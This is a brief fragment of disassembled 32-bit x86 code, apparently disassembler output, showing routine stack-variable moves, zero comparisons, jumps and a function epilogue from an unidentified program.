jmp 0x4254e2
and dword [ebp - 0x328], 0
mov eax, dword [ebp - 0x328]
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0
jne 0x4254fe
cmp dword [ebp - 0x120], 0
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x128], eax
jmp 0x425278
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x10], 0
je 0x425523
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x330], eax
jmp 0x42552a
and dword [ebp - 0x330], 0
mov eax, dword [ebp - 0x330]
mov esp, ebp
pop ebp
ret